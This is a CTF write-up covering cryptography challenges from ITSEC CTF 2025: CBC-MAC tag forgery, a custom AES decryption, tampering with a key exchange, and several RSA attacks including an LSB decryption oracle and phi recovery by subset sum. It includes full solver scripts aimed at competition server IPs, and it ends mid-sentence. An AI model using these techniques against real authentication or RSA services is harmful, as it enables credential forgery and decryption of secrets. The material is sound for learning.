# ITSEC CTF 2025 This year's ITSEC Cybersecurity Summit also held a CTF competition. As usual, I'm focused on Cryptography challenges, but as LLMs are getting more powerful, it's taking less and less time to solve CTF challenges, especially Cryptography. Thus, I'm also starting to seriously explore Blockchain challenges. This is a write up for the Cryptography and Blockchain challenges (both quals and finals) that I solved in the CTF. ## Cry/Controller This challenge revolves around a service where we need to login as admin, and tokens (or tags) can be used to login. The tags are calculated with CBC, derived from the admin username. ```python! def tag(self, m): m = bytes.fromhex(m) if len(m) % 16 != 0: m = pad(m, self.blocksize) c1 = AES.new(self.key, AES.MODE_CBC, iv = self.iv).encrypt(m) return c1[-self.blocksize:].hex() user_database.append(User(b"thegreatestadminsinthewholeworld", os.urandom(16).hex(), True, bebek.tag(b"thegreatestadminsinthewholeworld".hex()))) ``` We are given the admin username, so the attack is very simple. We can simply register using parts of the admin username, one AES block at a time, to do ECB instead of CBC, and chaining ECBs will get us the admin tag. ```python! from azunyan.conn import remote from Crypto.Util.strxor import strxor r = remote('13.250.98.246', 20255, level='debug') s = b"thegreatestadminsinthewholeworld" def register(username, password=b'a'): r.sendline(b"1") r.recvuntil(b"Username (hex): ") r.sendline(username.encode()) r.recvuntil(b"Password: ") r.sendline(password) return r.recvafter(b'your authentication token: ', str) iv = b"\x00" * 16 for i in range(0, len(s), 16): block = s[i:i+16] target = strxor(block, iv) tok = register(target.hex()) iv = bytes.fromhex(tok) r.sendline(b"2") r.sendline(b"b") r.recvuntil(b"Username (hex): ") r.sendline(s.hex()) r.recvuntil(b"Token: ") r.sendline(iv.hex()) r.interactive() #Flag: ITSEC{wh3n_y0u_w1th_m3} ``` ## Cry/Intern's new day Challenge is super simple, we are given an AES encryption implementation, with a different S box, and a somewhat obfuscated implementation. We just need to implement the decryption and it is easily solved. Unfortunately (for the author), Claude works really well here, and can implement the decryption without any help. This challenge is probably meant to burn a bit of time if manual implementation is required, but unfortunately, LLMs are here whether we like it or not. ```python! from secret import FLAG sb = ( 0xa7, 0xb0, 0x6d, 0x63, 0x89, 0x1a, 0xbe, 0xc4, 0x3c, 0x42, 0xa1, 0x01, 0x5b, 0xc8, 0x2c, 0x6e, 0xa4, 0x9c, 0x7c, 0x1e, 0x2a, 0xbd, 0x14, 0xe8, 0x99, 0x20, 0x27, 0x58, 0xac, 0x44, 0x25, 0x91, 0x16, 0xe0, 0xb5, 0x85, 0xee, 0xcd, 0xae, 0xa5, 0x8c, 0x46, 0x8f, 0xdc, 0x12, 0xa3, 0x33, 0xd5, 0x93, 0x94, 0x0b, 0x6c, 0x45, 0xfb, 0x9b, 0x75, 0x56, 0xc9, 0x4f, 0x19, 0xfe, 0xb3, 0x1b, 0x97, 0x2f, 0x0d, 0xbc, 0xeb, 0x71, 0xd0, 0x77, 0x05, 0xa6, 0xe4, 0x30, 0xb9, 0x6f, 0x5e, 0xb2, 0x49, 0x9d, 0x59, 0x3d, 0x32, 0xcc, 0x35, 0xf1, 0x48, 0x34, 0x84, 0xd3, 0xf9, 0x7b, 0x51, 0xf0, 0xc0, 0x5a, 0x4d, 0x66, 0xaa, 0x57, 0x54, 0xb7, 0x24, 0x1f, 0x5c, 0x4b, 0xfa, 0xf3, 0xb4, 0xdd, 0x8e, 0x92, 0x1c, 0xaf, 0xba, 0xcb, 0x10, 0x88, 0xad, 0x81, 0xfd, 0xe2, 0x28, 0x2e, 0xb6, 0x68, 0xe7, 0xdb, 0x67, 0xff, 0x06, 0x60, 0x5d, 0x82, 0xd4, 0xc6, 0xdf, 0xab, 0x52, 0xf7, 0x13, 0x62, 0x95, 0x5f, 0x4e, 0xd6, 0xef, 0x39, 0xc3, 0x38, 0xe9, 0x7d, 0xda, 0x04, 0xc1, 0xc2, 0x18, 0xca, 0x41, 0x21, 0x73, 0x96, 0x70, 0x80, 0x72, 0x78, 0xd9, 0xb1, 0x8a, 0xa0, 0xce, 0xbb, 0xf5, 0x26, 0x64, 0xd2, 0x36, 0x50, 0xec, 0xde, 0x79, 0x6a, 0xea, 0xcf, 0x86, 0xd8, 0x1d, 0x9e, 0x40, 0x90, 0xf8, 0x7f, 0x31, 0x55, 0x83, 0x11, 0xf6, 0xbf, 0x69, 0x07, 0xe3, 0x53, 0x4c, 0x2b, 0x23, 0x00, 0x3e, 0xc5, 0x37, 0x8d, 0xd1, 0x7a, 0xe1, 0x74, 0xe5, 0xc7, 0x08, 0xa9, 0x0a, 0x0f, 0x7e, 0x76, 0x6b, 0x87, 0x17, 0x98, 0xd7, 0xe6, 0x3b, 0x22, 0xa2, 0x65, 0x09, 0x47, 0x2d, 0x0e, 0xf2, 0x8b, 0x02, 0xb8, 0xf4, 0xfc, 0x03, 0x9f, 0x3f, 0xed, 0x61, 0x9a, 0x0c, 0xa8, 0x4a, 0x43, 0x3a, 0x15, 0x29 ) rc = ( 0x77, 0x4b, 0x05, 0x02, 0xe3, 0x0f, 0xf2, 0x61, 0xfc, 0x72, 0xf3, 0xf6, 0xc9, 0xe6, 0x20, 0xc9, 0xb0, 0xad, 0xb8, 0x1f, 0x71, 0x5d, 0xe9, 0xcb, 0x35, 0x44, 0x51, 0xde, 0xc9, 0x43, 0x03, 0x66 ) class DA: def __init__(self, mk): self.nr = 10 if len(mk) == 16 else 12 if len(mk) == 24 else 14 if len(mk) == 32 else exit() self._km = self._ek(mk) def _ek(self, mk): kc = [list(mk[i:i+4]) for i in range(0, len(mk), 4)] _is = len(mk) // 4 i = 1 while len(kc) < (self.nr + 1) * 4: w = list(kc[-1]) if len(kc) % _is == 0: w.append(w.pop(0)) w = [sb[b] for b in w] w[0] ^= rc[i] i += 1 elif len(mk) == 32 and len(kc) % _is == 4: w = [sb[b] for b in w] w = bytes(i^j for i, j in zip(w, kc[-_is])) kc.append(w) return [kc[4*i : 4*(i+1)] for i in range(len(kc) // 4)] def eb(self, pt): assert len(pt) == 16 x = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1) ps = [list(pt[i:i+4]) for i in range(0, len(pt), 4)] for i in range(4): for j in range(4): ps[i][j] ^= self._km[0][i][j] for i in range(1, self.nr): for j in range(4): for k in range(4): ps[j][k] = sb[ps[j][k]] for j in range(4): for k in range(4): ps[j][k] ^= self._km[i][j][k] ps[0][2], ps[1][2], ps[2][2], ps[3][2] = ps[2][2], ps[3][2], ps[0][2], ps[1][2] ps[0][1], ps[1][1], ps[2][1], ps[3][1] = ps[1][1], ps[2][1], ps[3][1], ps[0][1] ps[0][3], ps[1][3], ps[2][3], ps[3][3] = ps[3][3], ps[0][3], ps[1][3], ps[2][3] for j in range(4): t = ps[j][0] ^ ps[j][1] ^ ps[j][2] ^ ps[j][3] u = ps[j][0] ps[j][0] ^= t ^ x(ps[j][0] ^ ps[j][1]) ps[j][1] ^= t ^ x(ps[j][1] ^ ps[j][2]) ps[j][2] ^= t ^ x(ps[j][2] ^ ps[j][3]) ps[j][3] ^= t ^ x(ps[j][3] ^ u) for i in range(4): for j in range(4): ps[i][j] = sb[ps[i][j]] for i in range(4): for j in range(4): ps[i][j] ^= self._km[-1][i][j] ps[0][3], ps[1][3], ps[2][3], ps[3][3] = ps[3][3], ps[0][3], ps[1][3], ps[2][3] ps[0][1], ps[1][1], ps[2][1], ps[3][1] = ps[1][1], ps[2][1], ps[3][1], ps[0][1] ps[0][2], ps[1][2], ps[2][2], ps[3][2] = ps[2][2], ps[3][2], ps[0][2], ps[1][2] return bytes(sum(ps, [])) def encrypt(self, pt): pl = 16 - (len(pt) % 16) p = bytes([pl] * pl) pb = pt + p bs = [] for p_b in [pb[i:i+16] for i in range(0, len(pb), 16)]: b = self.eb(p_b) bs.append(b) return b''.join(bs) def db(self, ct): assert len(ct) == 16 x = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1) ps = [list(ct[i:i+4]) for i in range(0, len(ct), 4)] # Reverse final ShiftRows ps[0][3], ps[1][3], ps[2][3], ps[3][3] = ps[1][3], ps[2][3], ps[3][3], ps[0][3] ps[0][1], ps[1][1], ps[2][1], ps[3][1] = ps[3][1], ps[0][1], ps[1][1], ps[2][1] ps[0][2], ps[1][2], ps[2][2], ps[3][2] = ps[2][2], ps[3][2], ps[0][2], ps[1][2] # Reverse final AddRoundKey for i in range(4): for j in range(4): ps[i][j] ^= self._km[-1][i][j] # Reverse final SubBytes inv_sb = {v: k for k, v in enumerate(sb)} for i in range(4): for j in range(4): ps[i][j] = inv_sb[ps[i][j]] for i in range(self.nr-1, 0, -1): # Reverse MixColumns for j in range(4): u = x(x(ps[j][0] ^ ps[j][2])) v = x(x(ps[j][1] ^ ps[j][3])) ps[j][0] ^= u ps[j][1] ^= v ps[j][2] ^= u ps[j][3] ^= v for j in range(4): t = ps[j][0] ^ ps[j][1] ^ ps[j][2] ^ ps[j][3] u = ps[j][0] ps[j][0] ^= t ^ x(ps[j][0] ^ ps[j][1]) ps[j][1] ^= t ^ x(ps[j][1] ^ ps[j][2]) ps[j][2] ^= t ^ x(ps[j][2] ^ ps[j][3]) ps[j][3] ^= t ^ x(ps[j][3] ^ u) # Reverse ShiftRows ps[0][2], ps[1][2], ps[2][2], ps[3][2] = ps[2][2], ps[3][2], ps[0][2], ps[1][2] ps[0][1], ps[1][1], ps[2][1], ps[3][1] = ps[3][1], ps[0][1], ps[1][1], ps[2][1] ps[0][3], ps[1][3], ps[2][3], ps[3][3] = ps[1][3], ps[2][3], ps[3][3], ps[0][3] # Reverse AddRoundKey for k in range(4): for l in range(4): ps[k][l] ^= self._km[i][k][l] # Reverse SubBytes for k in range(4): for l in range(4): ps[k][l] = inv_sb[ps[k][l]] # Reverse initial AddRoundKey for i in range(4): for j in range(4): ps[i][j] ^= self._km[0][i][j] return bytes(sum(ps, [])) def decrypt(self, ct): bs = [] for ct_block in [ct[i:i+16] for i in range(0, len(ct), 16)]: b = self.db(ct_block) bs.append(b) pt = b''.join(bs) # Remove PKCS#7 padding pl = pt[-1] if pl <= 16: # Verify padding is valid if all(b == pl for b in pt[-pl:]): return pt[:-pl] return pt # return as-is if padding is invalid if __name__ == '__main__': print(DA(b'"SECRETKEYDONTSHARETHISTOANYONE"').encrypt(FLAG).hex()) # 9e65ce8e1fefcec7e09384b3709a1ca9b50aca476513d390cbe40beb254bd007bf8e79389fd1d3bb11c3cc055d6c3754 data = bytes.fromhex('9e65ce8e1fefcec7e09384b3709a1ca9b50aca476513d390cbe40beb254bd007bf8e79389fd1d3bb11c3cc055d6c3754') print(DA(b'"SECRETKEYDONTSHARETHISTOANYONE"').decrypt(data)) #Flag: ITSEC{I'm_Seriously_Sorry_For_This} ``` ## Cry/Infokan Login This challenge simulates an MITM attack, where we can tamper between key generations of two parties, Server and Client. The Server has the flag, and it will send us the encrypted flag when we pass the check for verifyCred. ```python! def computeCred(self): challenge = bytes.fromhex(self.clientChallenge) iv = challenge[:16] plaintext = challenge[16:] cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB) ciphertext = bytearray() shift_reg = bytearray(iv) for byte in plaintext: encrypted = cipher_ecb.encrypt(bytes(shift_reg)) keystream_byte = encrypted[0] cipher_byte = byte ^ keystream_byte ciphertext.append(cipher_byte) shift_reg = shift_reg[1:] + bytes([cipher_byte]) result = bytes(ciphertext) self.nonce = iv self.credential = result.hex() def sendCredential(self, receiver, message): challenge = bytes.fromhex(message) plaintext = challenge cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB) ciphertext = bytearray() shift_reg = bytearray(self.nonce) for i in range(0, len(plaintext), 16): block = plaintext[i:i+16] encrypted = cipher_ecb.encrypt(bytes(shift_reg)) cipher_block = bytes([b ^ e for b, e in zip(block, encrypted)]) ciphertext.extend(cipher_block) shift_reg = bytearray(cipher_block) result = bytes(ciphertext).hex() print("sending server credential: ", result) receiver.receive_credential(self, result) def verifyCred(self): if self.clientCredential == self.credential: print("[+] Authentication Successful.") return True else: print("[!] Authentication Failure!", self.clientCredential, self.credential) return False def begin_communication(): while True: print("NEW ITERATION") client.sendChallenge(attacker) server.sendChallenge(attacker) client.calculateSessionKey() server.calculateSessionKey() client.computeCred() server.computeCred() client.sendCredential(attacker) result = server.verifyCred() if result: server.sendCredential(attacker, server.clientChallenge) server.sendCredential(attacker, server.secret) ``` The difficulty here is that we cannot calculate the shared key used with the server, as there are some random parameters used. The main vulnerability lies in how computeCred is done, where clientChallenge, which we control, contains 16 bytes of IV, and the rest is the challenge. Thus, if we set clientChallenge to just 16 bytes, the computed value will then be empty, and we can pass verification easily. Decrypting the encrypted flag can then be done easily, as in sendCredential, the encryption is done differently, where there are keystreams of 16 bytes per block, so we can just xor the value from the keystream (which we get from sendCredential(clientChallenge)), and we get the flag. ```python! from azunyan.conn import process, remote from Crypto.Util.strxor import strxor from chall import Server, Client #p = process(['python3', 'chall.py'], level='debug') # Replace 'server.py' with the actual filename p = remote('54.254.152.24', 2025) def init(): p.sendlineafter(b"Username: ", b"attacker") p.sendlineafter(b"Password: ", b"password") def exploit() -> int: # Start the proces server = Server() client = Client("attacker", "password") guess =b'\x00' * 16 base_challenge = guess.hex() # Client sends challenge - tamper with 16-byte IV (zeros) + 48-byte plaintext (zeros) p.recvuntil("sending client challenge: ") client_challenge = p.recvtype(str) client.challenge = client_challenge client.serverChallenge = base_challenge client.calculateSessionKey() p.sendlineafter(b"(tamper): ", base_challenge.encode()) # Server sends challenge - tamper with the same value p.recvuntil(b"sending server challenge: ") server_challenge = p.recvtype(str) server.challenge = server_challenge server.clientChallenge = base_challenge server.calculateSessionKey() server.computeCred() p.sendlineafter(b"(tamper): ", base_challenge.encode()) # Client sends credential - forward it (will match server's credential) p.recvuntil("sending client credential: ") client_credential = p.recvline().strip() p.sendlineafter(b"(tamper): ", b"") # Server should now authenticate and send the secret print("Tamper done") p.recvuntil(b"[+] Authentication Successful.") print("Auth sucessfull") p.recvuntil(b"sending server credential: ") client_cred = p.recvtype(bytes) p.sendlineafter(b"(tamper): ", b"fwd") print(f"Got client cred {client_cred}") p.recvuntil(b"sending server credential: ") secret = p.recvtype(bytes) print(f"Client_cret: {client_cred.hex()}; Secret received: {secret.hex()}") print(strxor(client_cred, secret[:16])) p.sendlineafter(b"(tamper): ", b"fwd") init() exploit() #Flag: ITSEC{i_l1ke_1t_b3tter} ``` ## Cry/Simple RSA This challenge just gives us plain RSA params, nothing else: ```! n=46014922953495823590792625328453518537759942907385288519972078748310115766076552700510034869862113134248890854832840744264858628129833098791884587479017453857115837697620445597251303101376348636616052018461298256839495151809137245487519880704838153895045646394408937224134545491323473393082791677399084623521903889071358476406581797209920917897120552647085367045771350369928714101952885552482344272084295440750349944373207286646963542000298850932632533690423253410522645569134022639503146287927023894946464828496242988631752199042717365408818100180895221911662249505805008325089437657448443933868958820817910558471293 e=268435459 c=11314339403359567780692601069815710743165402544988203918151340837645606912959402641126954145280660570762982247771917542719878231291766614862358489243957964439916749413680930944615063921439539055825420053337614980961682681555035169099974121913924178155258600619452395067299085627896352720005233379231312709290583412444031184554596453797817161128552414571518324581806767819754389759232708355060229677061961742874649289853359807929735947675898971334344822872967188360102835994032157447342986467879631904720037815396636573047116651469718152143887897849178164454377805656650083129515711040911387971255712009611360895624486 ``` The only thing I noticed is that e is uncommon (but still prime), and n has an uncommon bit length (2049). First I tried checking attacks on uncommon e, mainly variants of wiener and boneh duffee attacks. But, alas none of those worked. Then, I tried attacking the uncommon n. I guessed that these are from multiplications of two 1025 bit numbers that produced a 2049 bit number (YES THIS IS POSSIBLE AND HIGHLY COMMON!). I tried a couple of factorization techniques and its variants, ECM, qsieve, fermat, pollard, etc. However, after 15 minutes, I got bored and I realized I have better things to do in life, so I abandoned this challenge. After a while, a hint was released that n is actually a multiplication of three 683 bit prime (it was implied that this is obvious, but clearly it is not), and that one of them is smooth(?) and the other two are close. Well, technically, an n-smooth number cannot be prime (for p>n), so I guessed that it meant that either p+1 or p-1 is smooth. I already tried Pollard for the case that p-1 is smooth, so we go to Willam’s factorization for smooth p+1. As for the close pair of numbers, we can easily do fermat factorization. Fortunately, I have all of these algorithms implemented in my library, so the solver is very simple (it still takes like ~5 minutes for Williams). One last thing to note is that one of the prime’s order is actually divisible by e (thus d doesn’t exist). So, I tried just doing the operations modulo two of the other primes, and it worked. ```python! n=46014922953495823590792625328453518537759942907385288519972078748310115766076552700510034869862113134248890854832840744264858628129833098791884587479017453857115837697620445597251303101376348636616052018461298256839495151809137245487519880704838153895045646394408937224134545491323473393082791677399084623521903889071358476406581797209920917897120552647085367045771350369928714101952885552482344272084295440750349944373207286646963542000298850932632533690423253410522645569134022639503146287927023894946464828496242988631752199042717365408818100180895221911662249505805008325089437657448443933868958820817910558471293 e=268435459 c=11314339403359567780692601069815710743165402544988203918151340837645606912959402641126954145280660570762982247771917542719878231291766614862358489243957964439916749413680930944615063921439539055825420053337614980961682681555035169099974121913924178155258600619452395067299085627896352720005233379231312709290583412444031184554596453797817161128552414571518324581806767819754389759232708355060229677061961742874649289853359807929735947675898971334344822872967188360102835994032157447342986467879631904720037815396636573047116651469718152143887897849178164454377805656650083129515711040911387971255712009611360895624486 from azunyan.math import fermat, totient, williams # print(williams(n)) # got p here p = 29906591200427337732911827072306735167220533638105041589288730085906918226500842262342281681121437656595725298762299785960877825391734892091466219947376910976262750495524303991050545210767665126091584077823 print(n%p == 0) l = n // p print(n % l == 0) res = fermat(l) q = res[0] r = res[1] print(n == p * q * r, 'pqr found') tot = (p-1) * (r-1) from math import gcd d = pow(e, -1, tot) from libnum import n2s print(n2s(pow(c, d, p*r))) #Flag: ITSEC{tH4Ts_WhY_M4th_iS_Be4UTiFuL_&_iMPoRt4nt!!!} ``` ## Cry/Venture Into the Dungeon This challenge revolves around an RSA system that gives you partial decryption. Honestly, I'm not sure what the author was thinking, but this challenge can be boiled down to a classic RSA LSB decryption oracle. In fact, this challenge is even easier as the leak is not just one bit, but 256 bits. ```python! # !/usr/bin/env python3 from Crypto.Util.number import getPrime, bytes_to_long, inverse from secrets import FLAG assert FLAG.startswith(b'ITSEC{') and FLAG.endswith(b'}') class Dungeon: def __init__(self, key_len: int = 1024): while True: try: p,q = getPrime(key_len//2), getPrime(key_len//2) self.n = p*q self.e = 0x10001 et = (p-1)*(q-1) self._d = inverse(self.e, et) break except ValueError: continue def sloth(self, m: int) -> int: return pow(m, self.e, self.n) def shadow(self, c: int) -> int: p = pow(c, self._d, self.n) total_bits = p.bit_length() top_mask = ((1 << 128) - 1) << (total_bits - 128) bottom_mask = (1 << 128) - 1 mask = top_mask | bottom_mask return p & mask if __name__ == '__main__': Aid = Dungeon(1024) mystery = Aid.sloth(bytes_to_long(FLAG)) print(""" You take your first cautious steps inside, and the echo of your boots fills the silence. The corridors twist like the roots of some massive, underground tree, until the path splits into a dimly lit chamber where two odd figures wait. There's a tablet between these to figures. """) print(f"mystery: {mystery}") print(f"n: {Aid.n}") for _ in range(2014): print("What will you do") print('1. speak "the weight of sloth"') print('2. speak "the toll of secrets"') print("3. turn back and run") menu = "" while menu not in ["1","2","3"]: menu = input("(1|2|3): ") if menu == "1": userInput = "" userInput = input("...: ") if userInput.isdigit() and int(userInput) == bytes_to_long(FLAG): print("...Huh. You're still alive. Figures.") print("Well... guess you didn't really need me after all. Good job, I guess.") break print("...") elif menu == "2": userInput = "" while not userInput.isdigit(): userInput = input("payment: ") if int(userInput) < 1: print("Coin? Trinkets? Do you take me for a merchant?") print("Offer me coin again, and I will offer you silence.") continue if int(userInput) % mystery == 0: print("Secrets weigh more than gold. They stain more than blood. I do not want your glittering junk-bring me something that whispers. Something that hurts to say.") continue decrypted = Aid.shadow(int(userInput)) print(f"(whisper): {decrypted}") elif menu == "3": print("Running already? How predictable...") break ``` There is one interesting check, where `userInput % mystery` must not be zero, but this is easily bypassed by adding `n`, as operations will be done modulo `n`. I just asked ChatGPT to implement the basic RSA LSB Decryption Oracle, and we get flag. Really, I'm wondering what was the intended solve the author had in mind, it can't be this simple. Maybe if you had way less queries available, it would be more interesting, but not in this case. ```python! from pwn import * context.log_level = "info" E = 0x10001 def recv_numbers(io): io.recvuntil(b"mystery: ") c = int(io.recvline().strip()) io.recvuntil(b"n: ") n = int(io.recvline().strip()) log.info(f"n bits={n.bit_length()}") return c, n def lsb_oracle(io, c_mod_n, n): """ Query parity of p = c^d mod n. We send (c_mod_n + n) to dodge the 'divisible by mystery' check. Returns p & 1. """ io.recvuntil(b"(1|2|3): ") io.sendline(b"2") io.recvuntil(b"payment: ") io.sendline(str((c_mod_n + n)).encode()) # read until "(whisper): <int>" while True: line = io.recvline() if b"(whisper): " in line: tail = line.split(b"(whisper): ", 1)[1].strip() if tail: z = int(tail) else: z = int(io.recvline().strip()) return z & 1 # If the service rejected due to bad input (extremely unlikely), # it will go back to the menu; just loop until we see "(whisper)". def solve(io): c, n = recv_numbers(io) # classic LSB oracle attack: # maintain integer interval [low, high) with m in it, start [0, n) low, high = 0, n # ciphertext multiplier for doubling in plaintext two_e = pow(2, E, n) c_i = c # Do ~log2(n) rounds (fits in the 2014-query budget) rounds = n.bit_length() + 2 for i in range(rounds): c_i = (c_i * two_e) % n bit = lsb_oracle(io, c_i, n) # parity of (m * 2^{i+1} mod n) mid = (low + high) // 2 if bit == 0: high = mid else: low = mid if (i + 1) % 64 == 0: log.info(f"round {i+1}/{rounds}: interval size = {high - low}") if high - low <= 1: break m = high if high - low <= 1 else (low + high) // 2 m_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big") try: print(m_bytes.decode()) except UnicodeDecodeError: print(m_bytes) if __name__ == "__main__": # Local run: # python3 solve_lsb.py (assumes `chall.py` in cwd) # Remote: # python3 solve_lsb.py host port import sys io = remote('52.77.234.0', 20256) solve(io) #ITSEC{Secrets_don't_stay_buried_forever} ``` ## Cry/Not so simple RSA This challenge revolves around some pretty weird RSA parameter generation. It basically generates a prime that has order multiple of `e`, and we are given some hints on the value of the totient. ```python! import random import gmpy2 import hashlib def find_p(e: int, bits: int, max_attempts=1_000_000): low_k = (1 << (bits - 1)) - 1 low_k = (low_k // e) + 1 high_k = (1 << bits) - 1 high_k = high_k // e if low_k > high_k: raise ValueError("Impossible: parameters give no k range") k = random.randrange(low_k, high_k + 1) for attempt in range(max_attempts): p = k * e + 1 if p.bit_length() != bits: k = low_k + ((k - low_k + 1) % (high_k - low_k + 1)) continue if gmpy2.is_prime(p): return int(p), int(k) k += 1 if k > high_k: k = low_k raise RuntimeError(f"Failed to find p in {max_attempts} attempts") def find_q_or_r(bits: int, e: int, max_attempts=10000): lower = 1 << (bits - 1) upper = (1 << bits) - 1 for _ in range(max_attempts): q = gmpy2.next_prime(random.randrange(lower, upper)) if (q - 1) % e != 0: return int(q) raise RuntimeError("Failed to find q with (q-1)%e != 0 in budget") def generate_challenge(): e = int(gmpy2.next_prime(2**28)) bits_p = 1024//3 bits_q = 1024//3 bits_r = 1024//3 p, k = find_p(e, bits_p) q = find_q_or_r(bits_q, e) r = find_q_or_r(bits_r, e) n = p * q * r phi_n = (p - 1) * (q - 1) * (r - 1) subset_length = 40 max_value = phi_n // (subset_length // 2) min_value = max_value // 100 values = [] solution_indices = set() num_in_solution = random.randint(subset_length // 3, 2 * subset_length // 3) solution_indices = set(random.sample(range(subset_length), num_in_solution)) remaining = phi_n solution_list = sorted(list(solution_indices)) for i in range(subset_length): if i in solution_indices: if i == solution_list[-1]: val = remaining else: num_remaining = len(solution_list) - solution_list.index(i) max_for_this = remaining // num_remaining val = random.randint(min_value, min(max_value, max_for_this)) remaining -= val else: val = random.randint(min_value, max_value) values.append(val) combined = list(zip(values, [1 if i in solution_indices else 0 for i in range(subset_length)])) random.shuffle(combined) values, solution = zip(*combined) values = list(values) solution = list(solution) subset_sum = sum(v * s for v, s in zip(values, solution)) if subset_sum != phi_n: diff = phi_n - subset_sum for i in range(len(values)): if solution[i] == 1: values[i] += diff break moduli = [1000000007, 1000000009, 1000000021] m = int.from_bytes(b"REDACTED_FLAG", "big") c = pow(m, e, n) print("n =", n) print("e =", e) print("c =", c) print("values =", values) print("size =", sum(solution)) print("phi_modular =", [(m, phi_n % m) for m in moduli]) print("phi_bits_high =", hex(phi_n >> (phi_n.bit_length() - 128))) print("phi_bits_low =", hex(phi_n & ((1 << 128) - 1))) print("verification_hash =", hashlib.sha256(str(phi_n).encode()).hexdigest()) if __name__ == "__main__": generate_challenge() ``` All hint regarding the totient/phi can be boiled down to solving the subset sum problem. The `phi_bits_low` gives us `phi % 2**128`, and the `phi_modular` gives us other hints regarding the modulo of phi. We can combine them to calculate the value of `phi % M` for some bigger `M` with Chinese Remainder Theorem. Then, notice that the set is just of length 40. Thus, we can do a Meet in the Middle attack (MITM), where we calculate all possible subset sum of the first half of the set (`2**20` possibilities), then store it in a set. Now, for each of the possible subset sum of the other half (`2**20` possibilities too), we search, whether there is a sum that makes `sum_first_half + sum_second_half = phi % M`. If there's a match, we get a candidate for `phi`. This is a pretty generic attack, so I just asked ChatGPT to implement it, and with a little fixes, it is working. ```python! import hashlib, math, random from collections import defaultdict from itertools import product # ====== put your instance here ====== n = 60419902565764548844188543053799539736520575597932824532389761522643875892236763090936952699801022241009608452637384156029134178007050986959672545796812659544119079405754458335003514178145056915824767178945504412120793435627631704573586996782481630193258573823429410349772037605005907442534016230552638558203 e = 268435459 c = 42077426242195692288259542826753875723706187537047968345077398360129407326191750134323576198720474598541102760396899177709744067388778715704602945081394301040443564303932191107115332093409897959823980390797003657503917523358293660420758330312005347193969217945630493348089893460949825739139342103857726182647 # The generator uses 40. You *must* supply all 40 for the sum to exist. values = '[REDACTED FOR CLEANLINESS]' size = 22 mods = [1000000007, 1000000009, 1000000021] residues = [178665113, 220473329, 600707014] phi_hi128 = 0xac14e3612f4408f33f6cb42a74deba17 phi_lo128 = 0x6f7e9819bf986d14ec1471514d302f40 phi_sha256 = "3b4da3d329e974b94561514dd5740335a4c05933723a337259c24117a13b8aba" # ==================================== def egcd(a,b): if b==0: return (1,0,a) x,y,g = egcd(b, a%b) return (y, x - (a//b)*y, g) def invmod(a, m): a %= m x,y,g = egcd(a,m) if g != 1: raise ValueError("no inverse") return x % m def mitm_subset_sum(values, size, mods, residues, hi128=None, lo128=None, verify_hash=None): n = len(values) h = n // 2 A, B = values[:h], values[h:] left = defaultdict(list) # enumerate left half for mask in range(1 << len(A)): cnt = mask.bit_count() if cnt > size: continue s = 0 rs = [0]*len(mods) m = mask i = 0 while m: lsb = m & -m i = (lsb.bit_length()-1) v = A[i] s += v for j,M in enumerate(mods): rs[j] = (rs[j] + v) % M m ^= lsb key = (cnt, *rs) left[key].append((s, mask)) # enumerate right half and match NB = len(B) for mask in range(1 << NB): cntB = mask.bit_count() cntA = size - cntB if cntA < 0: continue sB = 0 rB = [0]*len(mods) m = mask while m: lsb = m & -m i = (lsb.bit_length()-1) v = B[i] sB += v for j,M in enumerate(mods): rB[j] = (rB[j] + v) % M m ^= lsb need = (cntA, *[((residues[j] - rB[j]) % mods[j]) for j in range(len(mods))]) if need in left: for sA, maskA in left[need]: S = sA + sB if lo128 is not None and (S & ((1<<128)-1)) != lo128: continue if hi128 is not None: top = S >> (S.bit_length() - 128) if top != hi128: continue if verify_hash is not None and hashlib.sha256(str(S).encode()).hexdigest() != verify_hash: continue # reconstruct indices idxs = [] for i in range(len(A)): if (maskA >> i) & 1: idxs.append(i) for i in range(NB): if (mask >> i) & 1: idxs.append(h + i) return S, idxs return None, None def factor_from_phi_e(n, e, phi): assert phi % e == 0 t = phi // e for a in [2,3,5,7,11,13,17,19,23,29,31]: g = pow(a, t, n) if g == 1: continue d = math.gcd(g - 1, n) if 1 < d < n and n % d == 0: return n // d, d # (p, qr) # small random fallback for _ in range(64): a = random.randrange(2, n-1) g = pow(a, t, n) if g == 1: continue d = math.gcd(g - 1, n) if 1 < d < n and n % d == 0: return n // d, d raise RuntimeError("gcd trick failed; try different bases") def factor_qr(qr, phi, p): phi_qr = phi // (p - 1) s = qr - phi_qr + 1 # = q + r D = s*s - 4*qr rD = int(D**0.5) if rD*rD != D: # use exact sqrt if needed import gmpy2 rD = int(gmpy2.isqrt(D)) assert rD*rD == D, "non-square discriminant" q = (s + rD)//2 r = (s - rD)//2 assert q*r == qr return int(q), int(r) def decrypt_with_qr(e, c, q, r): dq = invmod(e, q-1) dr = invmod(e, r-1) mq = pow(c, dq, q) mr = pow(c, dr, r) # CRT combine (m < qr, so this is the true m) k = ((mr - mq) % r) * invmod(q % r, r) % r return mq + k*q def main(): if len(values) != 40: print(f"[!] You pasted {len(values)} values, but the challenge uses 40. Please supply all 40.") return phi, idxs = mitm_subset_sum(values, size, mods, residues, phi_hi128, phi_lo128, phi_sha256) if phi is None: print("[!] No subset matched all constraints. Double-check the values/size/residues and the hi/lo bits.") return print("[+] phi(n) recovered.") p, qr = factor_from_phi_e(n, e, phi) print("[+] Split: p =", p) print("[+] qr =", qr) q, r = factor_qr(qr, phi, p) print("[+] q,r =", q, r) if __name__ == "__main__": main() ``` Now, after recovering `phi = (p-1) * (q-1) * (r-1)`, there is an interesting trick we can use to recover the prime factors. We know that `e | phi`, so for some integer `a, b`: - `phi = (p-1) * (q-1) * (r-1) = k * e * (q-1) * (r-1)` - `z = phi / e = k * (q-1) * (r-1)` - `a ** z = a ** ((q-1) * ...) = 1 (mod q) ` - `a ** z = a ** ((r-1) * ...) = 1 (mod r) ` - `a ** z = a ** (k * (q-1) * (r-1)) = b (mod p)` Note that as the order of `p` is `k * e`, there is a good chance that `a ** k mod p` is not `1`, thus `a ** z - 1` will be divisible by `q` and `r`, but not `p`. So, we can try random values for `a` until we can extract `qr` from `n`, and with that recover `p`. Next, recovering `q` and `r` is trivial as we have `n/p = qr` and `phi/(p-1) = (q-1)*(r-1)`, which will boil down into a nice quadratic equation, and we can solve for `q` and `r`. Now, 